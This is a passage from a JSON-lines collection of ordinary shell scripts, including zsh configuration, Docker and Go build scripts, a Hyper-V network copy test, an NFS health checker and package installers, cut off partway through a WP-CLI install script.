POWERLEVEL9K_DISABLE_HOT_RELOAD=true\n\n # If p10k is already loaded, reload configuration.\n # This works even with POWERLEVEL9K_DISABLE_HOT_RELOAD=true.\n (( ! $+functions[p10k] )) || p10k reload\n}\n\n(( ${#p10k_config_opts} )) && setopt ${p10k_config_opts[@]}\n'builtin' 'unset' 'p10k_config_opts'"} {"text": "<gh_stars>0\n#!/bin/sh\n\n# TODO: Do `gnutls` and `libressl` need to be recognised?\n\n# Detect openssl version\nversion=\"$(openssl version 2> /dev/null | head -n 1 | grep -Eo '[0-9]+\\.[0-9]+\\.[0-9]+[a-z]?')\"\nif [ -z \"$version\" ]; then\n file=$(ls -1 /lib/libssl* 2> /dev/null | head -n 1)\n if [ -f \"$file\" ]; then\n version=\"$(strings $file | grep -i \"^openssl \" | head -n 1 | grep -Eo '[0-9]+\\.[0-9]+\\.[0-9]+[a-z]?')\"\n fi\nfi\n\n# Print output as json to the stdout\nif [ -n \"$version\" ]; then\n printf \\\n \"{\\\"Name\\\":\\\"openssl\\\",\\\"Version\\\":\\\"%s\\\"}\" \\\n \"$version\"\nfi"} {"text": "<filename>configs/client3/iperf.sh\n# Copyright 2020 Nokia\n# Licensed under the BSD 3-Clause License.\n# SPDX-License-Identifier: BSD-3-Clause\n\n# Start iperf3 server in the background\n# with 10 parallel tcp streams, each 2Mbit/s == 64Mbit/s\n# using ipv6 interfaces\niperf3 -c fd00:a516:7c1b:17cd:6d81:2137:bd2a:2c5b:17:11:2 -t 10000 -i 10 -p 5202 -B fd00:a516:7c1b:17cd:6d81:2137:bd2a:2c5b:17:33:2 -P 10 -b 2000000 &"} {"text": "#!/bin/bash\n\nif [ \"$#\" -ne 2 ]; then\n echo \"Usage: $0 <source_pose_dataset.txt> <target_dir>\"\n exit 1;\nfi\n\nlinhas=`cat $1| grep -v label | sed 's/\\ /_/g'`\ntotal=`cat $1| grep -v label| wc -l`\n\nfeitos=0\nfor i in $linhas; do\n feitos=$(( feitos + 1 ))\n declare -a lista\n lista=(`echo $i| sed 's/_/\\ /g' | awk '{ print $1\" \"$2\" \"$NF}'`)\n arquivo=`echo ${lista[0]}`\n arquivo_L=$arquivo\n #arquivo_R=`echo $arquivo| sed 's/\\.l\\./\\.r\\./g'`\n destino=$2\n mkdir -p $destino\n rotulo=`echo ${lista[1]}`\n indice=`echo ${lista[2]}`\n \n # apenas left\n ln -sf $arquivo_L $destino/$indice\"_B\"$rotulo\"E.png\"\n echo \"$feitos / $total\"\n # imagem left\n #ln -sf $arquivo_L $destino/$indice\"L_B\"$rotulo\"E.png\"\n \n # imagem right\n #ln -sf $arquivo_R $destino/$indice\"R_B\"$rotulo\"E.png\"\ndone\n\necho \"o comando a seguir lista arquivos que devem ser removidos pois apontam para locais inexistentes\"\nfind $destino -type l -exec file {} \\; | grep broken > $destino/log.txt"} {"text": "<reponame>filipekiss/zsh\n##################################\n# Editor and input char assignment\n##################################\n\n# Return if requirements are not found.\nif [[ ${TERM} == 'dumb' ]]; then\n return 1\nfi\n\n# Use human-friendly identifiers.\nzmodload zsh/terminfo\ntypeset -gA key_info\nkey_info=(\n 'Control' '\\C-'\n 'ControlLeft' '\\e[1;5D \\e[5D \\e\\e[D \\eOd \\eOD'\n 'ControlRight' '\\e[1;5C \\e[5C \\e\\e[C \\eOc \\eOC'\n 'Escape' '\\e'\n 'Meta' '\\M-'\n 'Backspace' \"^?\"\n 'Delete' \"^[[3~\"\n 'F1' \"${terminfo[kf1]}\"\n 'F2' \"${terminfo[kf2]}\"\n 'F3' \"${terminfo[kf3]}\"\n 'F4' \"${terminfo[kf4]}\"\n 'F5' \"${terminfo[kf5]}\"\n 'F6' \"${terminfo[kf6]}\"\n 'F7' \"${terminfo[kf7]}\"\n 'F8' \"${terminfo[kf8]}\"\n 'F9' \"${terminfo[kf9]}\"\n 'F10' \"${terminfo[kf10]}\"\n 'F11' \"${terminfo[kf11]}\"\n 'F12' \"${terminfo[kf12]}\"\n 'Insert' \"${terminfo[kich1]}\"\n 'Home' \"${terminfo[khome]}\"\n 'PageUp' \"${terminfo[kpp]}\"\n 'End' \"${terminfo[kend]}\"\n 'PageDown' \"${terminfo[knp]}\"\n 'Up' \"${terminfo[kcuu1]}\"\n 'Left' \"${terminfo[kcub1]}\"\n 'Down' \"${terminfo[kcud1]}\"\n 'Right' \"${terminfo[kcuf1]}\"\n 'BackTab' \"${terminfo[kcbt]}\"\n)\n\n# Bind the keys\n\n# Vim mode\nbindkey -v\n\nbindkey '^P' up-history\nbindkey '^N' down-history\nbindkey '^?' backward-delete-char\nbindkey '^h' backward-delete-char\nbindkey '^w' backward-kill-word\nbindkey '^r' history-incremental-search-backward\n\n# Remove ^G (list-expand) so we can use our fzf-widgets\nbindkey -r '^G'\n\n# History Substring Configuration - https://github.com/zsh-users/zsh-history-substring-search#usage\nbindkey \"${key_info[Up]}\" history-substring-search-up\nbindkey \"${key_info[Down]}\" history-substring-search-down\n# Also works in vicmd\nbindkey -M vicmd 'k' history-substring-search-up\nbindkey -M vicmd 'j' history-substring-search-down\n\n# Clear\nbindkey \"${key_info[Control]}L\" clear-screen\n\n# Bind Shift + Tab to go to the previous menu item.\nif [[ -n \"${key_info[BackTab]}\" ]]; then\n bindkey \"${key_info[BackTab]}\" reverse-menu-complete\nfi\n\n# Use ! in normal mode to edit the current line\n# Use a custom widget so my editor is always $GIT_EDITOR, that waits for the\n# editor\nfunction nvr-edit-command-line() {\n autoload -Uz edit-command-line\n zle -N edit-command-line\n VISUAL=$GIT_EDITOR edit-command-line\n}\nzle -N nvr-edit-command-line\nbindkey -M vicmd '!' nvr-edit-command-line\n\n# Automatically expand .... to ../..\ndouble-dot-expand() {\n if [[ ${LBUFFER} == *... ]]; then\n LBUFFER=\"${LBUFFER%.}/..\"\n else\n LBUFFER+='.'\n fi\n}\nzle -N double-dot-expand\nbindkey \".\" double-dot-expand\n\n# Put into application mode and validate ${terminfo}\nzle-line-init() {\n if (( ${+terminfo[smkx]} )); then\n echoti smkx\n fi\n}\nzle-line-finish() {\n if (( ${+terminfo[rmkx]} )); then\n echoti rmkx\n fi\n}\nzle -N zle-line-init\nzle -N zle-line-finish\n\nfor widget (${ZDOTDIR:-$HOME}/widgets/*.zsh) source $widget\n\n# Ensure no delay when changing modes\nexport KEYTIMEOUT=1\n\n########################################################################\n# Expand aliases\n# http://www.math.cmu.edu/~gautam/sj/blog/20140625-zsh-expand-alias.html\n# https://github.com/ninrod/dotfiles/blob/master/zsh/expand-alias.zsh\n########################################################################\n\nfunction expand-ealias() {\n if [[ $LBUFFER =~ \"(^|[;|&])\\s*(${(j:|:)ealiases})\\$\" ]]; then\n\tzle _expand_alias\n\tzle expand-word\n fi\n zle magic-space\n}\n\nzle -N expand-ealias\n\nbindkey -M viins ' ' expand-ealias\nbindkey -M viins '^ ' magic-space # control-space to bypass completion\nbindkey -M isearch \" \" magic-space # normal space during searches\n\n# FZF Folder Widget\nbindkey '^q' fzf-cd-widget"} {"text": "setup() {\n results__test_files_start_running\n}\n\ntests_are_successful_if_no_failure_and_no_test_skipped() {\n assertion__successful runner__tests_are_successful\n}\n\ntests_arent_successful_if_there_are_failures() {\n results__increment_failing_tests\n\n assertion__failing runner__tests_are_successful\n}\n\ntests_arent_successful_if_there_are_tests_not_fun() {\n results__increment_skipped_tests\n\n assertion__failing runner__tests_are_successful\n}"} {"text": "#!/bin/bash\n\n# reset in case getops has been used previously in the shell\nOPTIND=1\n\ntarget=\"build\"\nadditional_args=\"\"\nbuild=\"\"\nremoting_version=\"4.3\"\nbuild_number=\"6\"\npush_versions=0\ndisable_env_props=0\n\nwhile getopts \"t:a:pn:r:b:d\" opt; do\n case \"$opt\" in\n t)\n target=$OPTARG\n ;;\n a)\n additional_args=$OPTARG\n ;;\n p)\n push_versions=1\n ;;\n n)\n build_number=$OPTARG\n ;;\n r)\n remoting_version=$OPTARG\n ;;\n b)\n build=$OPTARG\n ;;\n d)\n disable_env_props=1\n ;;\n esac\ndone\n\n# get us to the remaining arguments\nshift $(expr $OPTIND - 1 )\nif [[ $# -gt 0 ]] ; then\n target=$1\n shift\nfi\n\nif [[ \"${disable_env_props}\" = \"0\" ]] ; then\n source env.props\n export `cut -d= -f1 env.props`\nfi\n\nREPOSITORY=${DOCKERHUB_REPO:-agent}\nORGANIZATION=${DOCKERHUB_ORGANISATION:-jenkins}\nremoting_version=${REMOTING_VERSION:-${remoting_version}}\n\n# this is the jdk version that will be used for the 'bare tag' images, \n# e.g., jdk8-alpine -> alpine\nDEFAULT_BUILD=\"8\"\n# this is the image type that will be used for jenkins/agent:latest\nDEFAULT_IMAGE=\"buster\"\ndeclare -A builds\nbuild_names=()\n\ndockerfiles=$(find . -iname Dockerfile | grep -v windows | grep -v bats)\n\nfor dockerfile in $dockerfiles ; do\n dir=$(dirname $dockerfile)\n declare $(echo $dockerfile | awk '{ split($0,a,\"/\"); print \"jdk_version=\"a[2]; print \"base_image=\"a[3]; }')\n basic_tag=\"${base_image}-jdk${jdk_version}\"\n tags=(\"${basic_tag}\" \"latest-${basic_tag}\")\n if [[ \"${jdk_version}\" = \"${DEFAULT_BUILD}\" ]] ; then\n tags+=(\"${base_image}\")\n fi\n if [[ \"${base_image}\" = \"${DEFAULT_IMAGE}\" ]] ; then\n tags+=(\"latest\" \"jdk${jdk_version}\")\n fi\n build_names+=(\"${basic_tag}\")\n builds[\"${basic_tag}-folder\"]=$dir\n builds[\"${basic_tag}-tags\"]=\"${tags[@]}\"\ndone\n\nif [[ -n \"${build}\" && \"${build_names[@]}\" =~ \"${build}\" ]] ; then\n for tag in ${builds[$build-tags]} ; do\n echo \"Building ${build} => tag=${tag}\"\n docker build --build-arg VERSION=\"${remoting_version}\" -t \"${ORGANIZATION}/${REPOSITORY}:${tag}\" \"${builds[$build-folder]}\"\n if [[ \"${push_versions}\" = \"1\" ]] ; then\n build_tag=\"${remoting_version}-${build_number}-${tag}\"\n if [[ \"${tag}\" = \"latest\" ]] ; then\n build_tag=\"${remoting_version}-${build_number}\"\n fi\n echo \"Building ${build} => tag=${build_tag}\"\n docker build --build-arg VERSION=\"${remoting_version}\" -t \"${ORGANIZATION}/${REPOSITORY}:${build_tag}\" \"${builds[$build-folder]}\"\n fi\n done\nelse\n for b in \"${build_names[@]}\" ; do\n for tag in ${builds[$b-tags]}; do\n echo \"Building ${b} => tag=${tag}\"\n docker build --build-arg VERSION=\"${remoting_version}\" -t \"${ORGANIZATION}/${REPOSITORY}:${tag}\" \"${builds[$b-folder]}\"\n\n if [[ \"${push_versions}\" = \"1\" ]] ; then\n build_tag=\"${remoting_version}-${build_number}-${tag}\"\n\tif [[ \"${tag}\" = \"latest\" ]] ; then\n build_tag=\"${remoting_version}-${build_number}\"\n\tfi\n echo \"Building ${b} => tag=${build_tag}\"\n\tdocker build --build-arg VERSION=\"${remoting_version}\" -t \"${ORGANIZATION}/${REPOSITORY}:${build_tag}\" \"${builds[$b-folder]}\"\n fi\n done\n done\nfi\n\nif [[ $? -ne 0 ]] ; then\n exit $?\nfi\n\nif [[ \"${target}\" = \"test\" ]] ; then\n make test\nfi\n\nif [[ \"${target}\" = \"publish\" ]] ; then\n if [[ -n \"${build}\" && \"${build_names[@]}\" =~ \"${build}\" ]] ; then\n for tag in ${builds[$build-tags]} ; do\n echo \"Publishing ${build} => tag=${tag}\"\n docker push \"${ORGANIZATION}/${REPOSITORY}:${tag}\"\n\n if [[ \"${push_versions}\" = \"1\" ]] ; then\n build_tag=\"${remoting_version}-${build_number}-${tag}\"\n\tif [[ \"${tag}\" = \"latest\" ]]; then\n build_tag=\"${remoting_version}-${build_number}\"\n\tfi\n\techo \"Publishing ${build} => tag=${tag}\"\n docker push \"${ORGANIZATION}/${REPOSITORY}:${build_tag}\"\n fi\n done\n else\n for b in \"${build_names[@]}\" ; do\n for tag in ${builds[$b-tags]}; do\n echo \"Publishing ${b} => tag=${tag}\"\n docker push \"${ORGANIZATION}/${REPOSITORY}:${tag}\"\n\n if [[ \"${push_versions}\" = \"1\" ]] ; then\n build_tag=\"${remoting_version}-${build_number}-${tag}\"\n\t if [[ \"${tag}\" = \"latest\" ]] ; then\n build_tag=\"${remoting_version}-${build_number}\"\n\t fi\n echo \"Publishing ${b} => tag=${build_tag}\"\n\t docker push \"${ORGANIZATION}/${REPOSITORY}:${build_tag}\"\n fi\n done\n done\n fi\nfi\n\nif [[ $? -ne 0 ]] ; then\n echo \"Build Failed!\"\nelse\n echo \"Build finished successfully\"\nfi\n\nexit $?"} {"text": "#! /bin/bash\n\ntime scripts/test.sh > output/test.log && aha --black -f output/test.log > output/test.html"} {"text": "#!/bin/bash\n\nuser=example_user\nheadnode=example.headnode\n\nif [ \"`hostname`\" != \"$headnode\" ]\nthen\n\techo must be run on $headnode\n\texit -1\nfi\n\nif [ $# -ne 3 ]\nthen\n\techo usage: submit_after_all_finished.sh current_job_name path next_job_name\n\techo ; echo current jobs are:\n\tfor current in `qstat -u ${example_user} | awk '{if (NR>5) print $4}' | sed 's/_[0-9]\\{1,\\}//g' | sort | uniq`\n\tdo\n\t\tcount=`qstat -u ${example_user} | awk '{if (NR>5) print $4}' | grep ^${current} | wc -l`\n\t\techo $current $count\n\tdone\n\techo ;\n\texit -1\nfi\n\n\nname=$1\npath=$2\njob_file=$3\n\n#check if the job script exists and set the flag \nif [ ! -f \"${path}/${job_file}.sh\" ]\nthen\n\techo the job script ${job_file}.sh does not exist in $path\n\texit -1\nfi\n\n#wait for previous to finish\nrun_count=1\nwhile [ \"$run_count\" -ne 0 ]\ndo\n\t#check the job $job\n\t\trun_count=`qstat -u ${example_user} | awk '{if (NR>5) print $4}' | grep ^${name} | wc -l | awk '{print $1}'`\n\t#wait one minute \n\tsleep 60\ndone\n\ncd $path\nqsub ${job_file}.sh\necho started ${name} at `date`"} {"text": "#!/bin/bash\n\n########################################################################\n#\n# Linux on Hyper-V and Azure Test Code, ver. 1.0.0\n# Copyright (c) Microsoft Corporation\n#\n# All rights reserved. \n# Licensed under the Apache License, Version 2.0 (the \"\"License\"\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# http://www.apache.org/licenses/LICENSE-2.0 \n#\n# THIS CODE IS PROVIDED *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS\n# OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION\n# ANY IMPLIED WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR\n# PURPOSE, MERCHANTABLITY OR NON-INFRINGEMENT.\n#\n# See the Apache Version 2.0 License for specific language governing\n# permissions and limitations under the License.\n#\n########################################################################\n\n# This script was created to automate the testing of a Linux\n# Integration services.\n# This script is used to verify that the network does'nt \n# loose connection by copying a large file(~10GB)file \n# between two VM's with IC installed.\n# Steps:\n#\t 1. Make sure we were given a configuration file with \n# REPOSITORY SERVER and FILE PATH\n#\t 2. Disable all the legacy network adapters present in\n# the VM.(We are doing this step because of bug ID:132)\n#\t 3. Update the route table (Note : Route can be updated \n# only once and only for one Synthetic network \n# Adapter.if there are multiple \n# synthetic network Adapters presend then route command \n# won't work)\n# 4.Ping the external network through the Synthetic Adapter \n# card\n# 5.Copy data from repository server to the VM.\n# 6.Copy data from VM to repository server.\n# 7.Enable all the legacy network adapters present in the \n# VM.\n#\t To identify objects to compare with, we source a \n# constansts file\n# This file will be given to us from \n# Hyper-V Host server. \n# It contains definitions like:\n# REPOSITORY SERVER=\"10.200.41.67\"\n# FILE_PATH=\"/tmp/Data\"\n\n\nICA_TESTRUNNING=\"TestRunning\" # The test is running\nICA_TESTCOMPLETED=\"TestCompleted\" # The test completed successfully\nICA_TESTABORTED=\"TestAborted\" # Error during setup of test\nICA_TESTFAILED=\"TestFailed\" # Error during execution of test\n\nCONSTANTS_FILE=\"constants.sh\"\n\nLogMsg()\n{\n echo `date \"+%a %b %d %T %Y\"` : ${1} # To add the timestamp to the log file\n}\n\nLogMsg \"########################################################\"\nLogMsg \"This is Test Case to perform Secure Copy\"\n\ncd ~\n\nUpdateTestState()\n{\n echo $1 > $HOME/state.txt\n}\n\nif [ -e ~/summary.log ]; then\n LogMsg \"Cleaning up previous copies of summary.log\"\n rm -rf ~/summary.log\nfi\n\nLogMsg \"Updating test case state to running\"\nUpdateTestState $ICA_TESTRUNNING\n\n#\n# Source the constants file\n#\nif [ -e ~/${CONSTANTS_FILE} ]; then\n source ~/${CONSTANTS_FILE}\nelse\n msg=\"Error: no ${CONSTANTS_FILE} file\"\n LogMsg \"$msg\"\n echo $msg >> ~/summary.log\n UpdateTestState $ICA_TESTABORTED\n exit 10\nfi\n\n#\n#Check for Testcase count\n#\nif [ ! ${TC_COUNT} ]; then\n LogMsg \"The TC_COUNT variable is not defined.\"\n\techo \"The TC_COUNT variable is not defined.\" >> ~/summary.log\n LogMsg \"Terminating the test.\"\n UpdateTestState $ICA_TESTABORTED\n exit 20\nfi\n\necho \"Covers : ${TC_COUNT}\" >> ~/summary.log\n\n#\n# Check if Variable in Const file is present or not\n# \n#Since it require to ping external network external network ip must be defined\nif [ ! ${REPOSITORY_SERVER} ]; then\n\tLogMsg \"The REPOSITORY_SERVER variable is not defined.\"\n\techo \"The REPOSITORY_SERVER variable is not defined.\" >> ~/summary.log\n\tUpdateTestState $ICA_TESTABORTED\n\texit 30\nfi\n\nif [ ! ${REPOSITORY_EXPORT} ]; then\n LogMsg \"Error: constants did not define the variable REPOSITORY_EXPORT\"\n\techo \"Error: constants did not define the variable REPOSITORY_EXPORT\" >> ~/summary.log\n UpdateTestState $ICA_TESTABORTED\n exit 40\nfi\n\n\nenable_leg()\n{\nfor LEGACY_DEVICE in ${LEGACY_NET_DEVICE[@]} ; do\n ifconfig $LEGACY_DEVICE up >/dev/null 2>&1\n sts=$?\n LogMsg \"ifup status for $LEGACY_DEVICE = $sts\"\n if [ 0 -ne ${sts} ]; then\n LogMsg \"LEGACY Network Adapter : $LEGACY_DEVICE , is not correctly configured in VM. \"\n LogMsg \"ifup <$LEGACY_DEVICE> failed: ${sts}\" \n echo \"ifup <$LEGACY_DEVICE> failed: ${sts}\" >> ~/summary.log\n UpdateTestState $ICA_TESTFAILED\n exit 150\n else\n LogMsg \"$LEGACY_DEVICE is enabled successfully inside VM \" \n fi\ndone\n}\n\n#\n# Constant file path\n#\n#NET_PATH=\"/sys/devices/vmbus_0_0\"\nNET_PATH=`find /sys/devices -name net | grep vmbus*`\nif [ ! -e ${NET_PATH} ]; then\n LogMsg \"Network device path $NET_PATH does not exists\"\n echo \"Network device path $NET_PATH does not exists\" >> ~/summary.log\n UpdateTestState $ICA_TESTABORTED\n\texit 50\nfi\n\n#\n# If tmp file is present please delter it do the apporpriate \n# \nrm -rf ~/tmp.txt\n\ncd $NET_PATH\n#find -name eth* | cut -f 4 -d \"/\" > ~/tmp.txt\nls > /root/tmp.txt\n\n#NET_PATH=( `cat ~/tmp.txt | tr '.' ' ' `)\nNET_DEVICE=( `cat ~/tmp.txt `)\n\nLogMsg \"Net device is: $NET_DEVICE\"\n\n\n#\n# to check the Synthetic Network Adapter\n#\nfor DEVICE in ${NET_DEVICE[@]} ; do\n ifconfig $DEVICE >/dev/null 2>&1\n sts=$?\n if [ 0 -ne ${sts} ]; then\n LogMsg \"Network Adapter : $DEVICE , is not correctly configure in VM. \"\n LogMsg \"ifconfig <$DEVICE> fialed: ${sts}\"\n echo \"ifconfig <$DEVICE> fialed: ${sts}\" >> ~/summary.log\n UpdateTestState $ICA_TESTFAILED\n\t\tenable_leg\n exit 80\n else\n LogMsg \"Synthetic network adapter $DEVICE is present inside VM \"\n echo \"Synthetic network adapter is : $DEVICE \" >> ~/summary.log\n fi\n\t# check for fedora\n #if [ -f /etc/redhat-release ] ; then\n\t# \tifconfig $DEVICE up >/dev/null 2>&1\n\t#else\n\t\t#Its OpenSUSE\n\t#\tifup $DEVICE >/dev/null 2>&1\n # fi\n\t#sleep 2\n\t\n\n IP_ADDRESS=( `ifconfig $DEVICE | grep Bcast | awk '{print $2}' | cut -f 2 -d \":\"` )\n if [[ \"$IP_ADDRESS\" == \"\" ]] ; then\n LogMsg \"System Does not got IP Address\"\n echo \"System Does not got IP Address\" >> ~/summary.log\n UpdateTestState $ICA_TESTFAILED\n\t\tenable_leg\n exit 90\n else\n LogMsg \"IP Address of this system is :$IP_ADDRESS\"\n echo \"Synthetic network adapter IP is :$IP_ADDRESS\" >> ~/summary.log\n fi\n\n \n LogMsg \"We are going to Test if IP address can ping the REPOSITORY SERVER : $REPOSITORY_SERVER .......\"\n ping -I $DEVICE -c 10 $REPOSITORY_SERVER > /dev/null 2>&1\n if [ \"$?\" -ne \"0\" ]; then\n LogMsg \"Network adapter card cannot ping the REPOSITORY SERVER so we cannot perform secure copy test\"\n echo \"Network adapter card cannot ping the REPOSITORY SERVER so we cannot perform secure copy test\" >> ~/summary.log\n UpdateTestState $ICA_TESTFAILED\n\t\tenable_leg\n exit 110\n else\n LogMsg \"Network adapter card inside VM can ping REPOSITORY SERVER : $REPOSITORY_SERVER !!\"\n fi\n\t\n\t #\n # To copy from the Repository Server to VM\n #\n LogMsg \"Copying data from Repository Server:$REPOSITORY_SERVER to VM........ \"\n mkdir /nfs\n\t\tmount -o nolock ${REPOSITORY_SERVER}:${REPOSITORY_EXPORT} /nfs\n sts=$?\n\t if [ 0 -ne ${sts} ]; then\n LogMsg \"Mounting <REPOSITORY SERVER> Failed : ${sts}\" \n UpdateTestState $ICA_TESTFAILED\n\t\t\tenable_leg\n echo \"Copying large files from external server to VM : Failed\" >> ~/summary.log\n exit 120\n else\n LogMsg \"REPOSITORY SERVER Mounted successfully \" \n fi\n\t\t\n\t\tcp /nfs/test/md5sum /root\n\t\tsts=$?\n if [ 0 -ne ${sts} ]; then\n umount /mnt\n msg=\"Unable to copy md5sum from nfs export : ${sts}\"\n LogMsg \"$msg\"\n echo $msg >> ~/summary.log\n UpdateTestState $ICA_TESTFAILED\n\t\t\tenable_leg\n exit 70\n fi\n\t\t\n\t\tcp /nfs/test/large_file /usr\n\t\tsts=$?\n LogMsg \"Copy from <REPOSITORY SERVER> to <VM> status = $sts\"\n if [ 0 -ne ${sts} ]; then\n LogMsg \"Copy from <REPOSITORY SERVER> to <VM> Failed : ${sts}\" \n UpdateTestState $ICA_TESTFAILED\n\t\t\tenable_leg\n echo \"Copying large files from external server to VM : Failed\" >> ~/summary.log\n exit 120\n else\n LogMsg \"Data has been copied successfully from REPOSITORY SERVER to VM \" \n echo \"Copying large files from external server to VM : success \" >> ~/summary.log\n fi\n\t#\n # Check the MD5Sum\n #\n LogMsg \"Checking the md5sum of the file\"\n\n sum=`cat /root/md5sum | cut -f 4 -d ' '`\n fileSum=`md5sum /usr/large_file | cut -f 1 -d ' '`\n\tLogMsg \"$sum and $fileSum\"\n if [ \"$sum\" != \"$fileSum\" ]; then\n msg=\"md5sum of copied file does not match\"\n LogMsg \"$msg\"\n echo $msg >> ~/summary.log\n UpdateTestState $ICA_TESTFAILED\n\t\tenable_leg\n exit 90\n fi\ndone\n\nrm -rf /usr/large_file\n\n#\n# To enable the Legacy network Adapters\n#\nenable_leg\n\n#\n#Clean up system\n#\nrm -rf ~/tmp.txt\n\nLogMsg \"#########################################################\"\nLogMsg \"Result : Test Completed Succesfully\"\nLogMsg \"Exiting with state: TestCompleted.\"\nUpdateTestState $ICA_TESTCOMPLETED\nexit 0"} {"text": "#!/bin/bash -e\ngo get -d ./...\ngolangci-lint run\ngo test ./...\ngo build ./...\ngo build"} {"text": "#!/bin/bash\n\nif [ $# -ne 2 ]; then\n echo Usage: se_check_nfs_health_killall_if_fail.sh client_mount_point killprogram\n exit 1\nfi\n\nclient_mount_point=$1\nkillprogram=$2\n\ntarget_dir=$client_mount_point/.write_check/\ntarget_filename=$target_dir/$(hostname).txt\n\nwhile true\ndo\n mkdir -p $target_dir\n echo test > $target_filename\n if [ $? -ne 0 ]; then\n logger se_check_nfs_health_killall_if_fail Error. Failed to write $target_filename\n break\n fi\n sleep 1\ndone\n\nlogger Killing $killprogram by se_check_nfs_health_killall_if_fail\n\n/usr/bin/killall -KILL $killprogram\nsleep 1\n\n/usr/bin/killall -KILL $killprogram\nsleep 1\n\n/usr/bin/killall -KILL $killprogram"} {"text": "source iss_setup.sh\n\ncd ..\ndoxygen doxygenConfigurationFile.conf\n\ncd lib\nmake distclean\nmake\ncd ../\n\ncd test/end_course_sensors\nmake distclean\nmake\n\ncd ../h_bridge\nmake distclean\nmake\n\ncd ../pid_unit_test\nmake distclean\nmake\n\ncd ../pwm\nmake distclean\nmake"} {"text": "#!/bin/sh\n\n# Copyright (c) 2017 Wind River Systems Inc.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nset -o errexit\n\nif [ -n \"${SWARM_DELAYED_START}\" ]; then\n sleep \"${SWARM_DELAYED_START}\"\nfi\n\nif ! echo \"$COMMAND_OPTIONS\" | grep -q -- '-fsroot' ; then\n COMMAND_OPTIONS=\"${COMMAND_OPTIONS} -fsroot ${SWARM_HOME}\"\nfi\n\n# Use docker secret to retrieve password, but env always overrides\nif [ -n \"${SWARM_AGENT_PASSWORD}\" ]; then\n COMMAND_OPTIONS=\"${COMMAND_OPTIONS} -username ${SWARM_AGENT_USER} -password ${SWARM_AGENT_PASSWORD}\"\nelif [ -f /run/secrets/agent_password ]; then\n COMMAND_OPTIONS=\"${COMMAND_OPTIONS} -username ${SWARM_AGENT_USER} -password $(cat /run/secrets/agent_password)\"\nfi\n\nif [ -n \"${SWARM_CLIENT_NAME}\" ]; then\n COMMAND_OPTIONS=\"${COMMAND_OPTIONS} -name ${SWARM_CLIENT_NAME}\"\nelse\n HOSTNAME=$(cat /etc/hostname)\n COMMAND_OPTIONS=\"${COMMAND_OPTIONS} -name ${HOSTNAME}\"\nfi\n\njava -jar \"/usr/bin/swarm-client.jar\" -deleteExistingClients ${COMMAND_OPTIONS}"} {"text": "<reponame>lchang20/onnxruntime\n#!/bin/bash\n# Install packages that will be needed at runtime\n\n# Stop at any error, show all commands\nset -exuo pipefail\n\n\n# if a devel package is added to COMPILE_DEPS,\n# make sure the corresponding library is added to RUNTIME_DEPS if applicable\n\nif [ \"${AUDITWHEEL_POLICY}\" == \"manylinux2010\" ] || [ \"${AUDITWHEEL_POLICY}\" == \"manylinux2014\" ]; then\n\tPACKAGE_MANAGER=yum\n\tCOMPILE_DEPS=\"bzip2-devel ncurses-devel readline-devel tk-devel gdbm-devel libpcap-devel xz-devel openssl openssl-devel keyutils-libs-devel krb5-devel libcom_err-devel libidn-devel curl-devel uuid-devel libffi-devel kernel-headers\"\n\tif [ \"${AUDITWHEEL_POLICY}\" == \"manylinux2010\" ]; then\n\t\tCOMPILE_DEPS=\"${COMPILE_DEPS} db4-devel\"\n\telse\n\t\tCOMPILE_DEPS=\"${COMPILE_DEPS} libdb-devel\"\n\tfi\nelif [ \"${AUDITWHEEL_POLICY}\" == \"manylinux_2_24\" ]; then\n\tPACKAGE_MANAGER=apt\n\tCOMPILE_DEPS=\"libbz2-dev libncurses5-dev libreadline-dev tk-dev libgdbm-dev libdb-dev libpcap-dev liblzma-dev openssl libssl-dev libkeyutils-dev libkrb5-dev comerr-dev libidn2-0-dev libcurl4-openssl-dev uuid-dev libffi-dev linux-kernel-headers\"\nelif [ \"${AUDITWHEEL_POLICY}\" == \"musllinux_1_1\" ]; then\n\tPACKAGE_MANAGER=apk\n\tCOMPILE_DEPS=\"bzip2-dev ncurses-dev readline-dev tk-dev gdbm-dev libpcap-dev xz-dev openssl openssl-dev keyutils-dev krb5-dev libcom_err libidn-dev curl-dev util-linux-dev libffi-dev linux-headers\"\nelse\n\techo \"Unsupported policy: '${AUDITWHEEL_POLICY}'\"\n\texit 1\nfi\n\n\nif [ \"${PACKAGE_MANAGER}\" == \"yum\" ]; then\n\tyum -y install ${COMPILE_DEPS}\n\tyum clean all\n\trm -rf /var/cache/yum\nelif [ \"${PACKAGE_MANAGER}\" == \"apt\" ]; then\n\texport DEBIAN_FRONTEND=noninteractive\n\tapt-get update -qq\n\tapt-get install -qq -y --no-install-recommends ${COMPILE_DEPS}\n\tapt-get clean -qq\n\trm -rf /var/lib/apt/lists/*\nelif [ \"${PACKAGE_MANAGER}\" == \"apk\" ]; then\n\tapk add --no-cache ${COMPILE_DEPS}\nelse\n\techo \"Not implemented\"\n\texit 1\nfi"} {"text": "#!/bin/sh\n\ncurl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar\nchmod +x wp-cli.phar\nmv wp-cli.phar /usr/local/bin/wp\n\nwp --info\n\n\nwp core is-installed --allow-root\nstatus=$?\necho $status\npath=\"wordpress-$5\"\nurl=$6\nif [ \"$status\" -eq \"1\" ]; 